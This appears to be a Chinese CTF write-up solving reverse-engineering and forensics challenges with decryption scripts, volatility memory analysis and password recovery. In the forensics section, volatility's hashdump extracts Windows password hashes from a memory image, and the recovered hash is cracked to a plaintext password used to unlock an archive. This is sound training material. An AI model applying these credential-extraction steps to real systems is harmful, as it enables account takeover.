1629870106662.png

在回到 IDA,往下翻,我们可以看到如下,发现运用的是 csp 容器加密

1629870148916.png

用 OD 确认了下,写出的文件,和 csp 加密的结果是基本一致(除了多出来了 136 个字节),说明确实是 csp 加密,我们就朝着这个方向研究

1629870169288.png

连接 CSP

1629870187578.png

根据 phProv 定位到了这个函数,往下翻,找加密相关

1629870206407.png

这里有点要注意,pbData 的数据,和加密时间戳有关,说明加密结果会随时间变化而变化,当然写出时间段肯定大于加密时间段,所以记住这个时间戳,等会我们写脚本遍历

1629870231427.png

1629870245413.png

点进这个函数

1629870267890.png

还有几个函数我没去分析,我是直接根据 OD 动调判断出是无用函数(或许是我太菜了,没看出来用处。。。) 然后写脚本,即可跑出那张图片脚本语言:易语言

模块引用:精益模块(百度就能找到吧)

脚本下载地址:https://share.weiyun.com/tmLoFT0Y

1629870306089.png

1629870319439.png

Flag: ctf{2724EE54-9114-4C1E-AC86-3C9B5B6B4C7B}

re3 Rev_Dizzy

首先配置下 IDA 文件的这个

1629869815494.png

然后进去直接 F5 反编译,会看到一大堆简单的 +-^运算,留下加密部分,大概 5000 行代码

1629869841874.png

上面是我复制出来的算法。。。。

咋一看很吓人,但是转过来想想,他只有单调的+-^,所以只要倒过来进行逆运算,即可得到结果,脚本如下…易模块引用:精益模块.ec 百度即可下载

1629869866284.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.版本 2 
.支持库 spec

.程序集 窗口程序集_启动窗口
.程序集变量 cal, 文本型, , "5000"
.程序集变量 arr, 字节型, , "32"

.子程序 __启动窗口_创建完毕
.局部变量 left
.局部变量 right
.局部变量 op, 文本型
.局部变量 i
.局部变量 index

cal = 分割文本 (到文本 (读入文件 (“D:\cal.txt”)), #换行符, )
arr = { 39, 60, 227, 252, 46, 65, 7, 94, 98, 207, 232, 242, 146, 128, 226, 54, 180, 178, 103, 119, 15, 246, 13, 182, 237, 28, 101, 138, 7, 83, 166, 102 }
.计次循环首 (5000, i) index = 5001 - i
op = 文本_取出中间文本 (cal [index], “] ”, “=”, , 真)
left = 到整数 (文本_取出中间文本 (cal [index], “ a[”, “]”, , 真))
.如果 (取文本右边 (cal [index], 2) = “];”)
right = 到整数 (文本_取出中间文本 (cal [index], “= a[”, “];”, , 真)) right = arr [right + 1]
.否则
right = 到整数 (文本_取出中间文本 (cal [index], “=”, “;”, , 真))
.如果结束
.如果 (op = “+”)
arr [left + 1] = arr [left + 1] - right

.否则
.如果 (op = “-”)
arr [left + 1] = arr [left + 1] + right
.否则
.如果 (op = “^”)
arr [left + 1] = 位异或 (arr [left + 1], right)
.否则
调试输出 (op + “Error”)
.如果结束

.如果结束

.如果结束

.计次循环尾 ()
调试输出 (到文本 (arr))

Flag: flag{Try_R3vers1ng_W1th_ScR!pt!}

re4 Rev_APC

提取出这里使用异或解密得到的 dll:

1629869575421.png

来到 dll 中关键函数:

1629869605081.png

开始使用了一个 hash 算法对 AkiraDDL 加密得到一个 32 位的 hash 值,这里其实并不需要关心,因为加密的时候并没有使用。下面是与驱动文件交互的用例:

1629869664368.png

再一个注意的是那个用来和明文加密的数据,使用 NtRequestWaitReplyPort 请求进行了变化。

一个累异或:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( a2 > 0 )
{
v4 = 0i64;
v5 = (unsigned int)a2;
v6 = a1 - a3;
do
{
v7 = 0i64;
v8 = (_BYTE *)(v4 + a3);
for ( i = *(_BYTE *)(v6 + v4 + a3); v7 < v4; ++v7 )
i ^= *(_BYTE *)(v7 + a1);
++v4;
*v8 = i;
--v5;
}
while ( v5 );
}

然后是没有使用 srand,随机数是默认的种子,也就是固定的。 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include <stdio.h>
#include <stdlib.h>

unsigned char hash[] = {165, 106, 167, 113, 180, 119, 198, 3, 209, 8, 223, 24, 206, 3, 215, 15, 204, 119, 186, 98, 174, 109, 221, 24, 192, 9, 213, 213, 213, 213, 213, 213};
unsigned char hashed[32][32] = {0};
char order[] = {0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5};
unsigned char enc[32] = {87, 197, 56, 27, 58, 168, 52, 47, 57, 151, 198, 228, 4, 47, 143, 238, 94, 81, 128, 103, 36, 201, 111, 72, 91, 127, 189, 199, 176, 194, 194, 235};

unsigned char plain[32] = {0};

unsigned char fun(unsigned char a)
{
return ((a<<4)|(a>>4));
}

void fun1(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
a[i] += 16;
b[i] ^= a[i];
}
}

void fun2(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
a[i] -= 80;
b[i] ^= fun(a[i]);
}
}

void fun3(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
b[i] ^= a[i];
}
}

void fun4(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
a[i] -= 80;
}

for(int i = 0; i < 32; i += 2)
{
b[i] ^= 16*a[i];
b[i+1] ^= a[i] >> 4;
}

}

void fun5(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
b[i] ^= a[i];
}

}

void fun6(unsigned char *a, unsigned char *b)
{

for(int i = 0; i < 32; i++)
{
if((unsigned char)(a[i]-33) > 46)
{
if((unsigned char)(a[i]-81) > 46)
{
if(a[i]>0x80)
{
a[i] = a[i]-48;
b[i] -= a[i];
}
}
else
{
a[i] = a[i]-48;
b[i] ^= a[i] >> 4;
}
}
else
{
a[i] = a[i]-80;
b[i] += a[i];
}
}
}

void defun6(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
if((unsigned char)(a[i]-33) > 46)
{
if((unsigned char)(a[i]-81) > 46)
{
if(a[i]>0x80)
{
a[i] = a[i]-48;
b[i] += a[i];
}
}
else
{
a[i] = a[i]-48;
b[i] ^= a[i] >> 4;
}
}
else
{
a[i] = a[i]-80;
b[i] -= a[i];
}
}
}

int main(void)
{
for(int i = 0; i < 32; i++)
{
unsigned char tmp = 0;
for(int j = 0; j < i+1; j++)
tmp ^= hash[j];
}

for(int i = 0; i < 32; i++)
{
for(int j = 0; j < 32; j++)
{
hashed[i][j] = hash[j];
//printf("%d, ", hash[j]);
}
//putchar(10);
switch(rand()%6)
{
case 0: fun1(hash, plain);
break;
case 1: fun2(hash, plain);
break;
case 2: fun3(hash, plain);
break;
case 3: fun4(hash, plain);
break;
case 4: fun5(hash, plain);
break;
case 5: fun6(hash, plain);
break;
}

}

for(int i = 0; i < 32; i++)
{
switch(order[i])
{
case 0: fun1(hashed[31-i], enc);
break;
case 1: fun2(hashed[31-i], enc);
break;
case 2: fun3(hashed[31-i], enc);
break;
case 3: fun4(hashed[31-i], enc);
break;
case 4: fun5(hashed[31-i], enc);
break;
case 5: defun6(hashed[31-i], enc);
break;
}

}


for(int i = 0; i < 32; i++)
{
printf("%c", enc[i]);
}

return 0;
}

最后运行 exp,成功拿到 flag{Kmode_Umode_Communication!}

1629869768578.png

misc

misc1 ChieftainsSecret

下载附件,得到 csv 文件和电路图。

电路图上有两个元件,STM32 为常用的开发板,用其接收另一个元件的信号。另一个元件经搜索得知为角度传感器。在官网找到其DataSheet-v01_00-EN.pdf?fileId=5546d46264a8de7e0164eca986da1a32

阅读技术文档后得知csv中四列数据的含义:PC0连接到SIN_P,代表角度的正正弦值sin(α);PC1连接到SIN_N,代表角度的负正弦值 sin(-α);PC2 和 PC3 为余弦值。

只需要一组正弦和余弦就可以计算角度,多余的一组是用于减少误差的。这里用正值。 原始读数为模拟量,需要进行标准化处理。用下面的脚本把数据处理为振幅为 1 且居中的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import csv 
import math
import numpy as np
import matplotlib.pyplot as plt

SIN_P = []
SIN_N = []
COS_P = []
COS_N = []

with open('adc.csv') as f:
next(f) # 跳过第一行
reader = csv.reader(f) for line in reader: SIN_P.append(int(line[0]))
SIN_N.append(int(line[1]))
COS_P.append(int(line[2])) COS_N.append(int(line[3]))

# 振幅A
SIN_AMP = max(SIN_P)-min(SIN_P)
COS_AMP = max(COS_P)-min(COS_P) print(SIN_AMP, COS_AMP)

# 偏移k
SIN_OFF = min(SIN_P)+SIN_AMP//2
COS_OFF = min(COS_P)+COS_AMP//2 print(SIN_OFF, COS_OFF)

SIN_P_std = []
COS_P_std = []

for i in range(len(SIN_P)):
SIN_P_std.append((SIN_P[i]-SIN_OFF)*(2/SIN_AMP))
COS_P_std.append((COS_P[i]-COS_OFF)*(2/COS_AMP))
plt.scatter(range(len(SIN_P)),SIN_P_std) plt.scatter(range(len(COS_P)),COS_P_std)

plt.grid(True)
plt.show()

运行脚本得到散点图。

1629870587980.png

sin 为蓝色,cos 为橙色

开始时sin=0,cos=1,使用α=arctan(sin/cos)可得角度为0.

根据题目描述可以猜想这个设备安装在了一个转轮电话的转盘上,根据转动的角度就可以推出拨出的号 码。

图上用红色标出了11个区间,正好对应11位电话号码。

每个区间都有一个特点:传感器转动一定角度然后按反方向转回。这使得确定转动的角度非常简单,只需找每个区间中间的值计算角度即可。

修改上面的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import csv  
import math
import numpy as np
import matplotlib.pyplot as plt

SIN_P = []
SIN_N = []
COS_P = []
COS_N = []

with open('adc.csv') as f:
next(f) # 跳过第一行
reader = csv.reader(f)
for line in reader:
SIN_P.append(int(line[0]))
SIN_N.append(int(line[1]))
COS_P.append(int(line[2])) COS_N.append(int(line[3]))

# 振幅A
SIN_AMP = max(SIN_P)-min(SIN_P)
COS_AMP = max(COS_P)-min(COS_P) print(SIN_AMP, COS_AMP)

# 偏移k
SIN_OFF = min(SIN_P)+SIN_AMP//2
COS_OFF = min(COS_P)+COS_AMP//2 print(SIN_OFF, COS_OFF)

SIN_P_std = []
COS_P_std = []

for i in range(len(SIN_P)):
SIN_P_std.append((SIN_P[i]-SIN_OFF)*(2/SIN_AMP))
COS_P_std.append((COS_P[i]-COS_OFF)*(2/COS_AMP))

# plt.scatter(range(len(SIN_P)),SIN_P_std)
# plt.scatter(range(len(COS_P)),COS_P_std)

# 手动选出的x坐标
# 第1和第2个图像基本一样,所以第2个用的第1个的值
candidates = [160, 160, 638, 883, 1080, 1275, 1474, 1612, 1732, 1880, 2070]

angles = []

for i in candidates:
# atan2计算arctan,并会考虑sin和cos的正负
# degrees把弧度转为角度
angle = math.degrees(math.atan2(SIN_P_std[i], COS_P_std[i]))
angle = angle if angle > 0 else 360+angle # -180~180 转为 0~360
print(angle)
angles.append(angle)

plt.scatter(range(11), angles)

plt.grid(True)
plt.show()

运行得到下图:

1629870833703.png

转轮电话有不同的设计,有的把 1 放在最前(转动角度最小),把 0 放在 9 之后(转动角度最大)

另外的 把 0 放在最前。

x=7 与 x=8 的值差得比较大,它们应该相差 2 位;其他相邻的相差 1 位

在数据中只可⻅9 个级别的转动角度,这是因为最大角度或最小角度的数没有出现。

根据上面的推断总结共有 3 种情况:

\1. x=7 为 0,x=8 为 2,x=2 为 8

\2. x=7 为 1,x=8 为 3,x=2 为 9

\3.x=7 为 2,x=8 为 4,x=2 为 0

经提交发现第三种是正确的

Flag: flag{77085962457}

misc2 层层取证

首先下载题目解压得到两个文件

一个是系统内存dump,一个是硬盘的镜像.我们先来看硬盘镜像,解压出来如下

1629871128464.png

1629871155467.png\

从Forensic_image.001.txt中我们可以知道这是由FTK Imager制作的硬盘镜像

使用FTK Imager的镜像挂载功能,我们直接挂载物理磁盘

1629871203412.png

成功挂载后,我们使用disk genius打开

1629871223438.png

我们可以看到一共有三个分区,最后一个分区是BitLocker加密,那么答案已经显而易见了,找到BitLocker密码即可

先在另外两个盘找找线索,把关键词都收集一下

1629871259530.png

最后在Windows 7分区的用户文件夹中发现两个用户名XiaoMing和XinSai

经过尝试,BitLocker的密码是XiaoMing,成功解锁

1629871283201.png

解锁分区后发现里面有一个2.pcapng(wireshark流量包),导出来

使用wireshark打开

经过分析发现存在一段异常UDP数据,我们追踪udp流

1629871315070.png

1629871339627.png

在首部发现rar文件头Rar!和flag文字,我们以原数据格式保存下来

1629871363772.png

1629871378432.png

接下来尝试解出rar密码

使用XiaoMing和XinSai解密以及爆破均无结果,在硬盘中也找不出多余信息了,猜测线索可能在系统内存dump中,首先尝试获取用户密码

先用volatility从memdump.mem内存获取到注册表中的system 的 virtual 地址,SAM 的 virtual 地址。使用命令:vol.exe -f memdump.mem –profile=Win7SP1x64 hivelist

1629871402475.png

拿到virtual 地址后,接着从内存中获取密码哈希

使用命令:vol.exe -f memdump.mem –profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000ce7410

得到了几位用户的密码hash,最终用户名为xiaoming的密码hash为92efa7f9f2740956d51157f46521f941,用md5解出来得到: xiaoming_handsome

1629871437254.png

经过尝试,rar的密码就是:xiaoming_handsome

打开压缩包,得到flag.docx ,尝试打开,发现需要密码

1629871465313.png

用volatility 列举一下memdump.mem的进程

使用命令:vol.exe -f memdump.mem –profile=Win7SP1x64 pslist

1629871488573.png

发现了 Windows Tablet PC 便笺工具——StikyNot.exe的进程,PID是2572

1629871514531.png

我们把他dump下来分析一下

使用命令:vol.exe -f memdump.mem –profile=Win7SP1x64 memdump -p 2572 -D F:\CTF2\CTF工具箱\数字取证\volatility-master\volatility-master\祥云杯

1629871538529.png

现在就成功将这个进程保存下来了

1629871557633.png

用foremost对这个2572.dmp分离一下得到了一些文件

1629871586857.png

在StikyNotes被删除后 都会保留在StickyNotes.snt文件里,在foremost分离出的ole文件夹中发现了 00004600.ole,里面的内容就是 StickyNotes.snt的内容

1629871610742.png

用记事本Notepad等文本编辑器打开00004600.ole,找字符串“fs22”,每个fs22都是一个便签内容的开头,然后可以看到英文内容,而中文内容是以加密的“'xx\ ‘xx”形式存在的,然后每行都会以”\par”结尾。

所以这里打开这个文件,搜索“fs22”,发现了 b5'b5'c3'dc'c2'eb'a3'baxiaoming1314\par

1629871638640.png

/par不要,同时把\’替换成%,得到%b5%b5%c3%dc%c2%eb%a3%baxiaoming1314

然后进行url解码,记得编码选择gb2312,不然解出来是乱码

1629871664817.png

得到word文档的密码为:xiaoming1314

打开flag.docx得到flag{9ca871b668f2-b668-097c-cbm8-9op404c891e2}

1629871689851.png

misc3 考古

首先下载题目文件解压得到 memory

我们使用取证工具 volatility 分析

volatility.exe -f memory imageinfo

1629871783476.png

发现是 WinXPSP2x86 的内存 dump,和题目提示一致

接下来我们使用 volatility 的 cmdscan 插件扫描命令行记录

1629871822257.png

可以看到命令行记录这里还有一段出题人留下的小剧本(出题人有心了)大致意思就是小明在打开电脑的时候发现内存不够,于是打算清理一下内存,听说有个一键清理程序非常有用,就 try it,执行后就发现被黑了,联想题目信息一致,那么答案已经很明显了,我们只要找到这个 Oneclickcleanup.exe 就完事

使用 volatility 的 filescan 插件扫描内存中的文件,配合 grep 筛选

volatility.exe -f memory –profile=WinXPSP2x86 filescan | grep exe

1629871856444.png

可以看到就在桌面上,我们再使用 dumpfiles 插件把这个文件 dump 下来

volatility.exe -f memory –profile=WinXPSP2x86 dumpfiles -Q 0x00000000017bcbc0 -D proc

1629871885589.png

得到两个 exe 和一些数据,但是 Image 我运行不起来

1629871907828.png

将 Data 和 image 拖入 IDA,进 main 函数,直接 F5,发现这两个文件,算法都差不多

1629871927583.png

这一步是加载秘钥图,有点像 RC4 那个秘钥生成,当然,key 的内容如下

1629871963381.png

size 也是固定的

1629871985658.png

被加密的文件的数据

1629872005266.png

算法很简单,就是用 data_start 循环异或 this_a_key,直接写脚本提取吧!

1629872031734.png

另一个文件也是同理,这里不过叙述,然后得到 DOC 文件

1629872067524.png

最后发现可以试着将 word 文档进行 xor 异或解密。

在 csdn 上发现了现成的解 xor 异或的脚本

链接: https://blog.csdn.net/ctwy291314/article/details/88820930

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
# -* -coding: UTF-8 -* -
# 功能:异或方式对文件进行加密和解密
import os
import datetime


# 主函数
def main():
getInput()


# 输入参数
def getInput():

# 获取操作的参数
while(True):

oper = input("请输入操作(e:加密 d:解密):")

if(oper == "e" or oper == "d"):
break
else:
print("输入有误,请重新输入!")

# 获取文件密码
while(True):

password = input("请输入密码:")

if(len(password) == 0):
print("密码不能为空!")
else:
break

# 获取操作的文件路径
while(True):

path = input("请输入文件路径(示例:C:\\test.txt):")

try:
f_read = open(path, "rb")
except:
print("文件没有找到,请检查路径是否存在!")
else:
break

# 进行加密或解密操作
if(oper == "e"):
encrypt(path, password)
elif(oper == "d"):
decrypt(path, password)


# 加密
def encrypt(path, password):
start = datetime.datetime.now()
# 因为刚学可能有库可以直接获取这些信息吧,不过自己写个算法获取这些信息也没什么难度
fileFullName = path.split(os.path.sep) # os.path.sep为操作系统的文件分隔符
fileName = fileFullName[len(fileFullName) - 1].split(".")[0]
fileSuffix = fileFullName[len(fileFullName) - 1].split(".")[1]

# print("文件全名称:",fileFullName[len(fileFullName)-1])
# print("文件名称:",fileName)
# print("文件后缀:",fileSuffix)

fileParent = path[0:len(path) - len(fileFullName[len(fileFullName) - 1])]
newFileName = "加密_" + fileFullName[len(fileFullName) - 1]
newFilePath = fileParent + newFileName

# print("文件父路径:",fileParent)
# print("新的文件名称:",newFileName)
# print("新的文件全路径:", newFilePath)

f_read = open(path, "rb")
f_write = open(newFilePath, "wb")

count = 0 # 当前密码加密索引

# 我们采用异或循环加密
for now in f_read: # 通过迭代器逐行访问
for nowByte in now: # 通过迭代器逐字符处理
newByte = nowByte ^ ord(password[count % len(password)])
count += 1
f_write.write(bytes([newByte]))

f_read.close()
f_write.close()

end = datetime.datetime.now()
print("文件加密完毕^_^", (end - start))


# 解密(因为我们采取的异或解密,所以其实和加密算法一样)
def decrypt(path, password):
start = datetime.datetime.now()
fileFullName = path.split(os.path.sep) # os.path.sep为操作系统的文件分隔符
fileName = fileFullName[len(fileFullName) - 1].split(".")[0]
fileSuffix = fileFullName[len(fileFullName) - 1].split(".")[1]

# print("文件全名称:", fileFullName[len(fileFullName)-1])
# print("文件名称:", fileName)
# print("文件后缀:", fileSuffix)

fileParent = path[0:len(path) - len(fileFullName[len(fileFullName) - 1])]
newFileName = "解密_" + fileFullName[len(fileFullName) - 1]
newFilePath = fileParent + newFileName

# print("文件父路径:", fileParent)
# print("新的文件名称:", newFileName)
# print("新的文件全路径:", newFilePath)

f_read = open(path, "rb")
f_write = open(newFilePath, "wb")

count = 0 # 当前密码加密索引

# 我们采用异或循环加密
for now in f_read: # 通过迭代器逐行访问
for nowByte in now: # 通过迭代器逐字符处理
newByte = nowByte ^ ord(password[count % len(password)])
count += 1
f_write.write(bytes([newByte]))

f_read.close()
f_write.close()
end = datetime.datetime.now()
print("文件解密完毕", (end - start))


main()

这个脚本是既可以加密也可以解密,运用的时候选择解密即可。解密是需要密钥的,不同的密钥解密后会得到不同的答案。

这里写个爆破密钥的脚本:

1
2
3
4
5
6
7
8
9
10
11
file_path = r&apos;./1tas2.doc&apos;
f_read = open(file_path, "rb").read()
for i in range(33,127):
s = ""
for now in f_read:
newByte = now ^ i
s += chr(newByte)
if &apos;flag&apos; in s:
print(i)
print(s)
break

我们得到了密钥是 chr(45),也就是减号- ,然后我们用上面的脚本解密

1629872275184.png

这里显示文件已经解密完成了,我们返回这个 word 文档的路径,发现了解密后的 word 文档

1629872362687.png

打开后,他会让我们选择文档的编码,如果里面存在 flag,那么肯定应该选 ascii 编码了,否则肯定会出现乱码的情况,这里我们选择 US-ASCII 编码 然后确定

1629872380655.png

进入之后CTRL+F,搜索 flag 字样,最终发现了 flag为 flag{8bedfdbb-ba42-43d1-858c-c2a5-5012d309}

1629872411441.png

misc5 鸣雏恋

下载下来是一个 docx 文件,并有 40 多 MB,猜测里面藏了东西,放进 010 分析

1629872544324.png

标准的 zip 形式,改文件后缀->解压->关注_rels 文件

里面的 love.zip 需要密码,显然密码是在 key.txt 里,光看文字,没什么发现,但仔细观察下面的列数

1629872571370.png

毫无疑问,隐藏了字符,直接零宽解就行

得到解压密码: Because I like naruto best

1629872611253.png

里面除了鸣人就是

雏田,这种情况可以将二者转换成 01 或者摩斯 ,先来转换 01 吧,可以通过 CRC 确定图片的属性,不过我一直有个疑惑,明明雏田的 CRC 值是 0xB3CE44BB ,但我通过脚本得出来的却是 0x67322cc8 ,还好这其实并不影响去判断它们,只要鸣人和雏田的 CRC 不一样就行了

这是图片转 01 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import binascii
hash=''
c=0
dd=''
for i in range(0,129487):
for a in open('C:\\AppData\\gaming\\love\\out\\'+str(i)+'.png', "rb"):
hash=(binascii.crc32(a))
d=hex(hash)
if d=='0x67322cc8':
c=0
else:
c=1
dd+=str(c)
print(dd)

然后二进制转文本:

1
2
3
4
5
6
7
8
with open('C:\\AppData\\gaming\\1.txt') as f:
s=f.read()
flag = ''
c = ''
for i in range(0, len(s), 8):
c = chr(int(s[i:i + 8], 2))
flag += c
print(flag)

1629872789950.png

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 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 